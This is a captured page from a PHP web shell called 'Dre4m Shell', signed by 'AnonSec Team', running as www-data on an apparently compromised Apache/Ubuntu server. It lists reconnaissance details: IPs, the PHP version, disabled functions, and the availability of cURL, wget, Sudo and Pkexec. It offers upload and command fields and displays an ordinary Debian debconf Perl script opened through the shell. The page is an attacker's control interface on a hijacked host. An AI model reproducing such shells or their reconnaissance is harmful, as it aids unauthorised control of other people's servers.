Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.218.83.143
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/debconf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/debconf/transition_db.pl
#!/usr/bin/perl -w
# This file was preprocessed, do not edit!
use strict;
use Debconf::Db;
use Debconf::Question;
use Debconf::Template;

my $dir = shift || '/var/lib/debconf';

Debconf::Db->load;

our %questions;
our %templates;

foreach my $thing (qw(templates debconf)) {
	if (-e "$dir/$thing.db") {
		eval qq{require "$dir/$thing.db"};
		print STDERR $@ if $@;
	}
	else {
		print STDERR "Skipping $dir/$thing.db: DNE\n";
	}
}

foreach my $t (keys %templates) {
	$templates{$t}->{_name}=$t;
}

my $skipped=0;

foreach my $item (keys %questions) {
	my @owners=grep { $_ ne '' } keys %{$questions{$item}->{owners}};
	delete $questions{$item}, next unless @owners;

	next unless defined $questions{$item}->{template}->{_name};

	my $tname=$questions{$item}->{template}->{_name};
	$skipped++, next unless defined $tname;
	my $type=$templates{$tname}->{type};
	my $question=Debconf::Question->new($item, pop(@owners), $type);
	$question->addowner($_, '') foreach @owners;
}

my %seen_templates;
foreach my $item (keys %questions) {
	my $question=Debconf::Question->get($item);
	my $tname=$questions{$item}->{template}->{_name};
	$skipped++, next unless defined $tname;
	my $template=Debconf::Template->get($tname);
	unless (defined $template) {
		$template=Debconf::Template->new($tname, $item, $templates{$tname}->{type});
	}
	unless ($seen_templates{$template}) {
		$template->clearall;
		foreach my $field (keys %{$templates{$tname}}) {
			next if $field=~/^_name/; # except this one we added above.
			$template->$field($templates{$tname}->{$field});
		}
	}
	

	if (exists $questions{$item}->{flag_isdefault}) {
		if ($questions{$item}->{flag_isdefault} eq 'false') {
		    	$question->flag('seen', 'true');
		}
		delete $questions{$item}->{flag_isdefault};
	}
	foreach my $flag (grep /^flag_/, keys %{$questions{$item}}) {
		if ($questions{$item}->{$flag} eq 'true') {
			$flag=~s/^flag_//;
			$question->flag($flag, 'true');
		}
	}
	foreach my $var (keys %{$questions{$item}->{variables}}) {
		$question->variable($var,
			$questions{$item}->{variables}->{$var});
	}
	if (exists $questions{$item}->{value} 
		and defined $questions{$item}->{value}) {
		$question->value($questions{$item}->{value});
	}

	$question->template($questions{$item}->{template}->{_name});
}

Debconf::Db->save;

if ($skipped) {
	print STDERR "While upgrading the debconf database, $skipped corrupt items were skipped.\n";
}

Anon7 - 2022
AnonSec Team